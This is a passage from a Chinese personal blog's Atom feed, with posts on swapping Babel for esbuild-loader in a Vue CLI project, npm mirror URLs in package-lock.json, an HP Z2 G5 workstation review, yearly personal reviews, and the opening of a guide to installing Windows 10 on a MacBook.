<pre><code class="language-text">  bwm-ng v0.6.3 (probing every 0.500s), press &#39;h&#39; for help
  input: /proc/net/dev type: rate
  /         iface                   Rx                   Tx                Total
  ==============================================================================
      wifi-aware0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
             ifb0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
             sit0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
             p2p0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
    r_rmnet_data1:           0.00 KB/s            0.00 KB/s            0.00 KB/s
               lo:           0.00 KB/s            0.00 KB/s            0.00 KB/s
      rmnet_data2:           0.00 KB/s            0.00 KB/s            0.00 KB/s
      rmnet_data5:           0.00 KB/s            0.00 KB/s            0.00 KB/s
       rmnet_ipa0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
           dummy0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
      rmnet_data1:           0.00 KB/s            0.00 KB/s            0.00 KB/s
    r_rmnet_data2:           0.00 KB/s            0.00 KB/s            0.00 KB/s
      rmnet_data0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
            wlan1:         229.75 KB/s           10.00 KB/s          239.76 KB/s
      rmnet_data3:           0.00 KB/s            0.00 KB/s            0.00 KB/s
            wlan0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
    r_rmnet_data3:           0.00 KB/s            0.00 KB/s            0.00 KB/s
    r_rmnet_data0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
          ip_vti0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
          ip6tnl0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
            bond0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
             ifb2:           0.00 KB/s            0.00 KB/s            0.00 KB/s
             ifb1:           0.00 KB/s            0.00 KB/s            0.00 KB/s
       rmnet_mhi0:          24.65 KB/s          227.47 KB/s          252.12 KB/s
      rmnet_data4:          18.40 KB/s          231.23 KB/s          249.63 KB/s
         ip6_vti0:           0.00 KB/s            0.00 KB/s            0.00 KB/s
  ------------------------------------------------------------------------------
            total:         272.80 KB/s          468.71 KB/s          741.50 KB/s
</code></pre>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[如何在已有的 Vue CLI 项目使用 esbuild]]></title>
        <id>https://www.tcdw.net/post/enable-esbuild-in-vue-cli-project/</id>
        <link href="https://www.tcdw.net/post/enable-esbuild-in-vue-cli-project/"/>
        <updated>2022-04-16T06:20:11.000Z</updated>
        <summary type="html"><![CDATA[EDIT: 其实可以试着用相同的方法把 Babel 换成 SWC，因为它最低可以编译到 ES5。不过我现在不需要负责这个兼容 IE11 的项目了哈哈哈哈]]></summary>
        <content type="html"><![CDATA[<p>EDIT 2: Vue CLI 都凉了，建议更换 Rspack</p>
<p>EDIT: 其实可以试着用相同的方法把 Babel 换成 <a href="https://swc.rs/">SWC</a>，因为它最低可以编译到 ES5。不过我现在不需要负责这个兼容 IE11 的项目了哈哈哈哈</p>
<h2>背景</h2>
<p>我们的门户网站项目（Vue 2 / Vue CLI 5 / TypeScript / Element UI）前端部分编译所需时间太长，因此开始考虑在不对已有项目进行过于伤筋动骨的调整的前提下，提升编译速度的方式。</p>
<p>由于 Vite 使用了 esbuild 进行编译速度的提升，我们想到了一个主意：借助 <a href="https://github.com/privatenumber/esbuild-loader">esbuild-loader</a>，把 Vue CLI 中的 Babel 替换为 esbuild。</p>
<h2>分析</h2>
<p>在项目根目录执行 <code>npx vue-cli-service inspect</code>，可以看到最终生成的 Webpack 配置中，以下部分涉及到了 babel-loader：</p>
<pre><code class="language-javascript">      /* config.module.rule(&#39;js&#39;) */
      {
        test: /\.m?jsx?$/,
        exclude: [
          function () { /* omitted long function */ }
        ],
        use: [
          /* config.module.rule(&#39;js&#39;).use(&#39;babel-loader&#39;) */
          // （略）
        ]
      },
      /* config.module.rule(&#39;ts&#39;) */
      {
        test: /\.ts$/,
        use: [
          /* config.module.rule(&#39;ts&#39;).use(&#39;babel-loader&#39;) */
          // （略）
          /* config.module.rule(&#39;ts&#39;).use(&#39;ts-loader&#39;) */
          // （略）
        ]
      },
      /* config.module.rule(&#39;tsx&#39;) */
      {
        test: /\.tsx$/,
        use: [
          /* config.module.rule(&#39;tsx&#39;).use(&#39;babel-loader&#39;) */
          // （略）
          /* config.module.rule(&#39;tsx&#39;).use(&#39;ts-loader&#39;) */
          // （略）
        ]
      }
</code></pre>
<p>由此可知，我们需要将 <code>js</code>、<code>ts</code> 和 <code>tsx</code> 的默认规则进行清空处理，然后让 <code>js</code>、<code>ts</code> 和 <code>tsx</code> 使用 <code>esbuild-loader</code>。</p>
<h2>操作</h2>
<p>首先，安装 <code>esbuild-loader</code>：</p>
<pre><code class="language-bash">npm i -D esbuild-loader
</code></pre>
<p>然后，在 <code>vue.config.js</code> 下的 <code>chainWebpack</code> 中加入以下内容：</p>
<pre><code class="language-javascript">// 清空已有的使用 `babel-loader` 的规则
config.module.rule(&quot;js&quot;).uses.clear();
config.module.rule(&quot;ts&quot;).uses.clear();
config.module.rule(&quot;tsx&quot;).uses.clear();

// 注入使用 `esbuild-loader` 的新规则
config.module
  .rule(&quot;js&quot;)
  .test(/\.m?jsx?$/)
  .use(&quot;esbuild-loader&quot;)
  .loader(&quot;esbuild-loader&quot;)
  .options({
    loader: &quot;jsx&quot;,
    target: &quot;es2015&quot;,
  })
  .end();
config.module
  .rule(&quot;ts&quot;)
  .test(/\.ts$/)
  .use(&quot;esbuild-loader&quot;)
  .loader(&quot;esbuild-loader&quot;)
  .options({
    loader: &quot;ts&quot;,
    target: &quot;es2015&quot;,
  })
  .end();
config.module
  .rule(&quot;tsx&quot;)
  .test(/\.tsx$/)
  .use(&quot;esbuild-loader&quot;)
  .loader(&quot;esbuild-loader&quot;)
  .options({
    loader: &quot;tsx&quot;,
    target: &quot;es2015&quot;,
  })
  .end();
</code></pre>
<p>就可以了。</p>
<h2>已知问题</h2>
<ul>
<li>如果项目中有使用到 Web Worker，肯定会炸掉，出现 <code>TypeError: Failed to construct &#39;URL&#39;: Invalid URL</code> 错误。采用 Babel 则正常工作。</li>
</ul>
<h2>遗憾</h2>
<p>尽管 esbuild 是好文明，我们依然无法在那个门户网站项目中使用；因为我们项目要求兼容 IE11，而 <a href="https://github.com/evanw/esbuild/issues/297">esbuild 目前最低只能编译到 ES2015</a>，这就导致编译产物无法在 IE11 等不（完全）支持 ES2015 的浏览器中运行；不过，在本地调试时还是很爽的，因为开发环境冷启动和热更新速度确实快了不少。</p>
<p>不过，如果你的项目不需要兼容 IE11 等老浏览器，但恰好还没有升级到 Vue 3 + Vite，完全可以试一试。能快一点是一点啊）</p>
<div class="video-container"><iframe width="560" height="315" src="https://www.youtube-nocookie.com/embed/8WRdfXYwuWU" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[我的 2021]]></title>
        <id>https://www.tcdw.net/post/2021/</id>
        <link href="https://www.tcdw.net/post/2021/"/>
        <updated>2022-01-01T15:04:54.000Z</updated>
        <summary type="html"><![CDATA[于是，2021 年猝不及防的结束了。虽然我很多时候懒得写这种总结，但是考虑到我还有一个博客在运行，还是写一篇总结好了。   设备添置  今年，我利用自己的收入，给自己添置了很多新的装备。其中两件最重要的是：   HP Z2 G5 Tower 工作站  iPhone 12 Pro 256G]]></summary>
        <content type="html"><![CDATA[<p>于是，2021 年猝不及防的结束了。虽然我很多时候懒得写这种总结，但是考虑到我还有一个博客在运行，还是写一篇总结好了。</p>
<h2>设备添置</h2>
<p>今年，我利用自己的收入，给自己添置了很多新的装备。其中两件最重要的是：</p>
<ul>
<li><a href="https://www.tcdw.net/post/hp-z2-g5-tower-workstation-review/">HP Z2 G5 Tower 工作站</a></li>
<li>iPhone 12 Pro 256G</li>
</ul>
<p>同时，今年我把我的 Homelab 建设了起来。我通过购买一些全新/二手设备和配件，完成了我业余机房的基础建设。</p>
<p>功能上，可以分为图形虚拟化服务器、Linux 虚拟化服务器、<a href="https://www.tcdw.net/post/attempt-to-play-genshin-impact-outside-home/">云游戏服务器</a>、NAS 和软路由；同时，还借助一台阿里云 ECS 实现端口转发、VPN 等功能。当然，这样的业余机房也不是没有代价的；一个是噪音比较大（就这我还没考虑机架式服务器），还有一个是电费要比以前高出不少（好在内蒙古的电价相对还是很低的）。但是，这套 Homelab 极大的改善了我（自认为是 Power User）的 IT 生活体验，包括云游戏也可以让我在任何地方享受家里安装的 PC 游戏。</p>
<p>说到 PC 游戏，其实这一块一直是我最缺乏了解的领域。我主要的游戏经历都是在家里的山寨 FC、后来（打着 MP4 旗号）的模拟器机、智能手机，以及 Nintendo Switch 上；由于以前家里的 PC 配置并不理想，加上父母的态度对 PC 游戏并不友好，我在 PC 上玩过的游戏寥寥无几（不过包括 Minecraft）。其实我开始涉足云游戏，只是希望拥有更好的远程桌面体验；虽然今年显卡价格蹭蹭蹭的上涨，但是因为我去年恰好买了张索泰的 GTX 1650 Super 当亮机卡（迷惑行为），我误打误撞的就开始玩起了《原神》，结果我一发不可收拾，还注册了 Steam 账号，开始研究我还能在 PC 上玩些什么有趣的游戏。因为就算是 1650 Super 这种入门级游戏显卡，<strong>它带来的游戏体验也是碾压对我来说的传统游戏设备</strong>（至少现今），而且键鼠操作也让我感觉更加灵活、舒适。</p>
<p>不过我也发现很多 PC 游戏都有着烦人的 DRM 和反作弊措施 (aka rootkit)。虽然我不认为我是什么隐私怪，但这让我感觉并不太爽；同时因为我工作站的十代 i7 算不上玩游戏的最佳选择，我从群友那边收了一套 B450 + Ryzen 5 3600 的套装，用手上的一些东西组装了专用的云游戏服务器。结果我的 1650 Super 反而成瓶颈了（</p>
<h2>兼职</h2>
<p>随着我不断接近毕业，学校的事情也变得越来越少。于是今年年初，在 <a href="https://qwe7002.com">@qwe7002</a> 的介绍下，我开始利用空闲时间做一些前端开发的远程兼职，并陆续参与了几个项目：</p>
<ul>
<li>某微信小程序（2 月至 4 月）。这个小程序是经过了几个外包开发者之手，代码逻辑混乱不堪。我经过不懈努力，成功的重构了一小部分浑浊不清的代码，还写了几个新的页面。不过这个项目的经历也让我明白 TypeScript 对于这种多人合作的大型 JS 项目真的很关键，同时对小程序的好感进一步受损，因为这玩意即使是对开发者也很不友好啊。</li>
<li>某 ERP 系统前端（3 月至年底）。这一次，我和另外几位小伙伴，从零开始了一个比较庞大的 Vue 2 项目。我参与了整个项目的选型和脚手架搭建工作，同时意志坚定的选择了 TypeScript~~（虽然代码里还是有一大坨 <code>any</code>）~~。这个项目还是让我感觉非常愉悦的，因为毫无大型商业项目开发经验的我们居然成功的把项目做了出来，积累了不少经验；而且，还成功让我的小伙伴们掌握了 TypeScript 的基本使用（他们以前都只有 JavaScript 的使用经验）；而最重要的是，我拿到了一笔非常可观的报酬。</li>
</ul>
<p>12 月，我顺利的完成了毕业设计和毕设答辩，进入实习阶段。2022 年起，我将在福州开始我人生中的全新篇章——成为社畜。虽然不知道以后还会发生什么，但是我对我的未来还是充满期待的。</p>
<h2>博客</h2>
<p>今年我没有对自己博客花很多的时间。不过，我的博客一年来运行基本正常，没出幺蛾子，还是可喜可贺的。</p>
<p>以及，我开始用 Golang 重构我博客的评论系统了。原来写的 Node.js 后端虽然能用，但是算上依赖以后的体积非常臃肿，而且非常吃内存（要知道我的 VPS 也就是 1c1g 的配置）；同时，我想找个东西来练练 Golang，所以就拿自己博客的评论系统开刀了。</p>
<p>目前还没有写完，但是到时候大概可以给我可怜的 VPS 节约不少内存吧。</p>
<h2>2022……？</h2>
<p>2022 年对于我来说会是变化最大的一年，因为我的身份要从学生变成社畜了，同时以后要开始在南方城市常年驻扎。所以未来的事情，只能说走一步看一步吧。</p>
<p>听某些人说，2022 年意味着 2020 年的重复，因为 2022 年拿英文读听起来像 Two thousand twenty too（也是 2020 年）。2021 年的世界依然不太平，所以只能希望 2022 年不要真的是这样，以及第三次世界大战永远不要发生了（至少在我的整个人生中）。</p>
<p>最后，祝大家新年快乐。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[npm、镜像源与 package-lock.json]]></title>
        <id>https://www.tcdw.net/post/npm-mirror/</id>
        <link href="https://www.tcdw.net/post/npm-mirror/"/>
        <updated>2021-11-14T10:17:52.000Z</updated>
        <summary type="html"><![CDATA[在国内开发涉及 Node.js 的应用都知道，裸连官方的 https://registry.npmjs.org 非常慢，等待时间令人捉急。  解决这种问题，我们自然想到的就是找镜像源（就像 Linux 发行版的包管理器那样）。  国内目前已经有一些 npm 镜像源，大多数情况下，它们其实还是可以用的。但是，package-lock.json 中会记录下各个包的原始 URL：]]></summary>
        <content type="html"><![CDATA[<p>在国内开发涉及 Node.js 的应用都知道，裸连官方的 <a href="https://registry.npmjs.org">https://registry.npmjs.org</a> 非常慢，等待时间令人捉急。</p>
<p>解决这种问题，我们自然想到的就是找镜像源（就像 Linux 发行版的包管理器那样）。</p>
<p>国内目前已经有一些 npm 镜像源，大多数情况下，它们其实还是可以用的。但是，<code>package-lock.json</code> 中会记录下各个包的原始 URL：</p>
<pre><code class="language-json">{
  &quot;node_modules/@babel/compat-data&quot;: {
    &quot;version&quot;: &quot;7.16.0&quot;,
    &quot;resolved&quot;: &quot;https://repo.huaweicloud.com/repository/npm/@babel/compat-data/-/compat-data-7.16.0.tgz&quot;,
    &quot;integrity&quot;: &quot;sha512-DGjt2QZse5SGd9nfOSqO4WLJ8NN/oHkijbXbPrxuoJO3oIPJL3TciZs9FX+cOHNiY9E9l0opL8g7BmLe3T+9ew==&quot;,
    &quot;dev&quot;: true,
    &quot;license&quot;: &quot;MIT&quot;,
    &quot;engines&quot;: {
      &quot;node&quot;: &quot;&gt;=6.9.0&quot;
    }
  },
  &quot;node_modules/@babel/core&quot;: {
    &quot;version&quot;: &quot;7.16.0&quot;,
    &quot;resolved&quot;: &quot;https://repo.huaweicloud.com/repository/npm/@babel/core/-/core-7.16.0.tgz&quot;,
    &quot;integrity&quot;: &quot;sha512-mYZEvshBRHGsIAiyH5PzCFTCfbWfoYbO/jcSdXQSUQu1/pW0xDZAUP7KEc32heqWTAfAHhV9j1vH8Sav7l+JNQ==&quot;,
    &quot;dev&quot;: true,
    &quot;license&quot;: &quot;MIT&quot;
  }
}
</code></pre>
<p>其实如果项目仅仅在国内开发和编译，问题不会很大。但是如果你开发的是开源项目（特别是面向海外的）或者在国外服务器跑 CI，你的项目就有可能会遇到安装依赖时连接不稳定的问题（因为国内这些镜像源<strong>通常不会针对国外优化</strong>）。</p>
<p>对此，我的建议是：</p>
<ul>
<li>尽量避免使用镜像源。<ul>
<li><del>进行肉翻。</del></li>
<li>对于连接缓慢的问题，可以给 npm 设置代理，或者利用国外 VPS 为 npm 自建 SNI Proxy，然后在本地修改 hosts 文件/进行 DNS 劫持。</li>
</ul>
</li>
<li>如果一定要使用镜像源，则需要：<ul>
<li>考虑清楚你的项目是否将完全在国内开发，并让团队中所有人使用相同的镜像源。</li>
<li>尽量选择能够通过 sed 简单替换 <code>package-lock.json</code> 中所记载地址的镜像源（例如华为源、中科大源）。</li>
</ul>
</li>
</ul>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[新的桌面工作站：HP Z2 G5 Tower]]></title>
        <id>https://www.tcdw.net/post/hp-z2-g5-tower-workstation-review/</id>
        <link href="https://www.tcdw.net/post/hp-z2-g5-tower-workstation-review/"/>
        <updated>2021-03-02T11:44:19.000Z</updated>
        <summary type="html"><![CDATA[我的上一代桌面工作站是台戴尔的 Inspiron 660，购于 2013 年初。经过数年来的多次升级，它拥有了三代 i7 处理器、16GB 内存和固态硬盘。  其实这台机器的性能直到今天依然不算逊色，基本上可以满足日常使用。但是，因为一些个人原因，我开始日常需要开启多个虚拟机，于是这台机器的 CPU 就开始有些吃不消了。]]></summary>
        <content type="html"><![CDATA[<p>我的上一代桌面工作站是台戴尔的 <a href="https://www.dell.com/support/home/zh-cn/product-support/product/inspiron-660/overview">Inspiron 660</a>，购于 2013 年初。经过数年来的多次升级，它拥有了三代 i7 处理器、16GB 内存和固态硬盘。</p>
<p>其实这台机器的性能直到今天依然不算逊色，基本上可以满足日常使用。但是，因为一些个人原因，我开始日常需要开启多个虚拟机，于是这台机器的 CPU 就开始有些吃不消了。</p>
<p>考虑到这台机器已经有 8 年历史，于是我便决定让它退居二线，同时将主力工作站进行升级换代。</p>
<p>经过反复的挑选，我最终选中了惠普的 <a href="https://www8.hp.com/us/en/workstations/z2-tower.html">Z2 G5 Tower</a>。它在这些方面非常吸引我：</p>
<ul>
<li>免工具维护</li>
<li>极高的可扩展性，有着合理的升级路线</li>
<li>没有光污染，但是不失颜值的机箱箱体</li>
</ul>
<p>在我购买这台机器时，我其实已经听说了 11 代酷睿系列处理器即将发布的消息，但是我这台机器预期服役 5 年以上，感觉差上一代应该问题不大。</p>
<p>以及我买的配置其实听起来就感觉有点尴尬：i7-10700 / 8GB DDR4 2666 x1 / <strong>2TB 机械硬盘</strong>，不过我自己已经有一些配件了，可以直接换上去用。</p>
<p>最终，成功在国内商家以 6.8k 拿下。</p>
<h2>安装</h2>
<p>因为卖家发的是顺丰，所以我下单以后第三天就到了。毕竟在内蒙古这种地方，这个速度已经算是很快了。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-1.jpg" alt="包装"></p>
<p>机箱的颜值确实不错，不过感觉比想象中的要略小一点。</p>
<ul>
<li>正面 IO：<ul>
<li>2 个 USB 3.1 Gen1</li>
<li>2 个 USB 3.1 Gen2</li>
<li>耳麦接口</li>
</ul>
</li>
<li>背面 IO：<ul>
<li>2 个 USB 2.0</li>
<li>2 个 USB 3.1 Gen1</li>
<li>2 个 USB 3.1 Gen2</li>
<li>1 个 RJ-45（I219-LM，千兆以太网）</li>
<li>线路输入和线路输出</li>
<li>2 个全尺寸 DisplayPort</li>
<li>1 个 VGA (Flex IO modules)</li>
</ul>
</li>
</ul>
<div class="hpws-grid-container">
<img alt="机箱前面" src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-3.jpg">
<img alt="机箱后面" src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-4.jpg">
</div>

<p>打开机箱也非常简单，只要扳动背面右侧的黑色开关即可。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-5a.jpg" alt="初见机箱内部"></p>
<p>后盖上粘贴的贴纸介绍了主板各个部位的用途。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-service.jpg" alt="后盖贴纸"></p>
<p>中间那个横着的玩意是……显卡风扇。应该是辅助散热的，不过也给我后面的显卡安装带来了一些麻烦（见后文）。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-6.jpg" alt="显卡散热器"></p>
<p>工作站的主板。这块主板的可扩充性的确非常丰富，主要亮点有：</p>
<ul>
<li>4 条 DDR4 内存插槽</li>
<li>4 个 SATA 3 接口</li>
<li><strong>两个</strong> M.2 M Key 插槽**（只支持 2280 尺寸）**和一个 M.2 E Key 插槽（我这台已经预装了 AX201）</li>
<li>4 个 PCI-E 插槽</li>
</ul>
<p>顺便主板是前后一体贯通的，而且是非标准螺丝孔位，所以是没法更换市售主板的。不过对我来说无所谓啦。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-7.jpg" alt="主板"></p>
<p>传说中的 Flex IO modules；我这台配的是 VGA 输出。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-8a.jpg" alt="Flex IO modules"></p>
<p>预装的 AX201 网卡，支持 Wi-Fi 6 和蓝牙 5.0。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-8b.jpg" alt="AX201 网卡"></p>
<p>主板的 PCI-E 插槽，配置如下：</p>
<ul>
<li>1 个 PCI-E x16</li>
<li>2 个 PCI-E x4（x1 信号）</li>
<li>1 个 PCI-E x16（x4 信号）</li>
</ul>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-8c.jpg" alt="PCI-E 插槽"></p>
<h2>其它配件</h2>
<p>我的附带了一个笔记本尺寸的 DVD-RW 驱动器，不过还预留了一个空的 5.25 寸扩展槽。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-dvd-spec.jpg" alt="DVD-RW 驱动器"></p>
<p>700W 的电源适配器，**有着 80 Plus 铂金认证。**预留了两条 6+2 的显卡供电。</p>
<p>虽然是非标准的电源，不过使用一些高端显卡应该是绰绰有余。</p>
<p>Edit: 有 Telegram 群友指出这个电源适配器应该是符合 ATX12VO 标准的。电源参数看起来确实如此，但是实际上孔位和尺寸跟正常的 ATX 电源完全对不上，而且电源接口也是非标准的。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-psu-spec.jpg" alt="电源适配器"></p>
<p>三星 8G DDR4 2666 内存。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-11.jpg" alt="内存"></p>
<p>东芝 DT01ACA200 机械硬盘（2TB / CMR）；拆下来以后被我塞进 NAS 里了。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-12.jpg" alt="机械硬盘"></p>
<p>硬盘托架；这台机器可以安装两块 3.5 寸硬盘。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-13.jpg" alt="硬盘托架"></p>
<h2>其它附带的东西</h2>
<p>包装中除了主机本体，还有小册子、品字电源线、键盘和鼠标。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-14a.jpg" alt="其它物品"></p>
<p>附带的键盘和鼠标；朴实无华，但是手感还算说得过去。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-14b.jpg" alt="鼠标">
<img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-14c.jpg" alt="键盘"></p>
<h2>安装我自己的配件</h2>
<p>随后，我安装了我自己已有的一些配件：</p>
<ul>
<li>显卡：ZOTAC GTX 1650 Super (4GB GDDR6)</li>
<li>NVMe SSD：铠侠 RC10 500GB</li>
<li>内存：英睿达 16GB DDR4 2666</li>
</ul>
<p>但是安装显卡时，我发现我扣不上机箱的显卡散热器。仔细一看，发现了问题所在：我的显卡的供电口位置很尴尬，恰好和散热器冲突。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-15.jpg" alt="显卡散热器问题"></p>
<p>所以，我只好先把固定散热器（？）的那个黑色的东西拆下来了，然后才有了足够的空间。拆下来以后看起来问题不大，机箱的显卡散热器还能固定住的样子。</p>
<p>那么把整个散热器都拆掉呢？我试了，结果机器在 POST 就会报错，抱怨风扇出现了问题。</p>
<p>理论上来说，我可以装个假负载，来让主板认为风扇在正常工作；但是这台机器的<strong>风扇接口也是非标准的</strong>，就有点尴尬。</p>
<h2>使用体验</h2>
<p>安装完毕以后，顺利开机，没有任何问题。</p>
<p>得益于 24G 的内存、8 核 16 线程的处理器和 Hyper-V，整体的体验是滑溜溜的，开 3 个 Windows 虚拟机都压力不大。</p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-info.png" alt="hwinfo 信息"></p>
<p><img src="https://file.tcdw.net/blog/post/8f57e29b-2a8a-58b0-b56a-a3f91f8acdbb/hpws-cpu.png" alt="CPU"></p>
<p>2021 年 4 月更新：因为发现 500G 的存储空间有点捉襟见肘，再加上 Chia 挖矿潮即将兴起，所以提前把固态硬盘换成了<strong>建兴 T10</strong> 240GB + <strong>铠侠 RC10</strong> 1TB 的组合。很爽。</p>
<h2>总结</h2>
<p>感觉这台机器买的很值，相比我 8 年前的旧电脑，是一次非常巨大的飞跃。开心！</p>
<p>顺便一提，我在购买这台机器时，有考虑上一块更好的显卡，但是现在显卡实在是贵的太离谱了，就先把之前买的 GTX 1650 Super 装上了。（摊手</p>
<style>
@media screen and (min-width: 768px) {
  .hpws-grid-container {
    display: grid;
    grid-template-columns: 1fr 1fr;
    grid-template-rows: 1fr;
    gap: 1em 1em;
    grid-template-areas:
      ". .";
  }
  .hpws-grid-container .img {
    max-width: 100%;
  }
}
</style>]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[我的 2020]]></title>
        <id>https://www.tcdw.net/post/2020/</id>
        <link href="https://www.tcdw.net/post/2020/"/>
        <updated>2020-12-31T16:49:03.000Z</updated>
        <summary type="html"><![CDATA[好耶，我终于把 2020 年勉强过完了。   成就  我在 2019 年终总结里写道：   待定！计划赶不上变化的。  结果，受到 COVID-19 疫情的影响，今年的大计划其实几乎都泡汤了（包括计划参加的一个比赛、2020 年夏天的面基出游计划等）。  所以，总体上感觉今年是碌碌无为的一年。不过没办法……]]></summary>
        <content type="html"><![CDATA[<p>好耶，我终于把 2020 年勉强过完了。</p>
<h2>成就</h2>
<p>我在 2019 年终总结里写道：</p>
<blockquote>
<p>待定！计划赶不上变化的。</p>
</blockquote>
<p>结果，受到 COVID-19 疫情的影响，今年的大计划其实几乎都<strong>泡汤</strong>了（包括计划参加的一个比赛、2020 年夏天的面基出游计划等）。</p>
<p>所以，总体上感觉今年是碌碌无为的一年。不过没办法……</p>
<h2>买买买</h2>
<p>不过今年买到了不少很棒的新硬件：</p>
<ul>
<li>WI-1000XM2<br>听感很好，佩戴起来相当舒适，而且 10 个小时的续航还是很香的。</li>
<li><a href="/post/my-new-computer/">自组装台式机</a><br>我第一次亲自从头开始组装的台式机，虽然有些配件选择上的遗憾，不过点亮后还是很有成就感。</li>
<li>一加 8T<br>强大的骁龙 865、65W 快充（虽然是私有协议）、滑溜溜的 120Hz 屏幕、很强的可折腾度……用起来太爽了！</li>
<li>AirPods Pro<br>出门使用还是很方便的，包括超级简单的多设备切换功能！</li>
</ul>
<hr>
<p>今年并没有购买很多专辑，不过还是感觉这些是很不错的：</p>
<ul>
<li><a href="https://music.apple.com/jp/album/troy/1324990493">有機酸/ewe - Troy</a></li>
<li><a href="https://music.apple.com/jp/album/live-forever-the-album/258481540">Magnus Carlsson - Live Forever (The Album)</a></li>
<li><a href="https://music.apple.com/jp/album/sabishii-hitoga-ichiban-erainda/1465881786">majiko - 寂しい人が一番偉いんだ</a></li>
<li>安井洋介 - まもるクンは呪われてしまった！アレンジトラックス</li>
<li><a href="https://music.apple.com/jp/album/grand-rain-candy-step/1337675663">カラフル・サウンズ・ポート - Grand Rain + CANDY STEP</a></li>
<li><a href="https://music.apple.com/jp/album/%E3%82%84%E3%81%A3%E3%81%B1%E3%82%8A%E9%9B%A8%E3%81%AF%E9%99%8D%E3%82%8B%E3%82%93%E3%81%A0%E3%81%AD/1502346463">ツユ - やっぱり雨は降るんだね</a></li>
<li><a href="https://music.apple.com/jp/album/frederhythm-2/1449532637">フレデリック - フレデリズム2</a></li>
<li><a href="https://music.apple.com/jp/album/leo/568004657">家入レオ - LEO</a></li>
<li><a href="https://music.apple.com/jp/album/dna/1182614444">パスピエ - &amp;DNA</a></li>
<li><a href="https://music.apple.com/jp/album/help-ever-hurt-never/1505498769">藤井 風 - HELP EVER HURT NEVER</a></li>
</ul>
<h2>博客</h2>
<p>今年的确没有写很多博客，不过还是做了不少工作，让它「符合潮流」：</p>
<ul>
<li>将评论系统后端用 TypeScript 进行了重构，修正了很多错误</li>
<li>给自己博客增加了暗色模式，并支持跟随系统切换</li>
<li>给自己写了一套全新的卡片式博客主题，使用了新的设计语言</li>
</ul>
<h2>2021 年计划？</h2>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[在 Intel 版 MacBook Pro 以 EFI 的形式安装 Windows 10]]></title>
        <id>https://www.tcdw.net/post/windows-10-installation-macbook-pro/</id>
        <link href="https://www.tcdw.net/post/windows-10-installation-macbook-pro/"/>
        <updated>2020-09-25T15:38:30.000Z</updated>
        <summary type="html"><![CDATA[为什么？]]></summary>
        <content type="html"><![CDATA[<h2>为什么？</h2>
<p>最近我想玩 Minecraft Windows 10 Edition，但是我在学校，我自己的电脑只有一部 MacBook Pro 2017。</p>
<h2>那为什么不用 Bootcamp 呢？</h2>
<p>因为我也不知道为什么，只有无尽的黑屏与 Windows 10 安装向导初始化的画面。我无法开始安装。</p>
<p>而且 Bootcamp 还有其它的缺点，具体可以看 <a href="https://zhuanlan.zhihu.com/p/29652640">这里</a>。</p>
<p>顺便少数派那个教程有点过时了，我在我的新款 MacBook Pro 安装时撞了些坑，所以决定写个新教程，造福人类。</p>
<h2>准备材料</h2>
<ul>
<li><a href="https://www.microsoft.com/zh-cn/software-download/windows10ISO">Windows 10 ISO</a></li>
<li><a href="https://unetbootin.github.io/">UNetbootin</a></li>
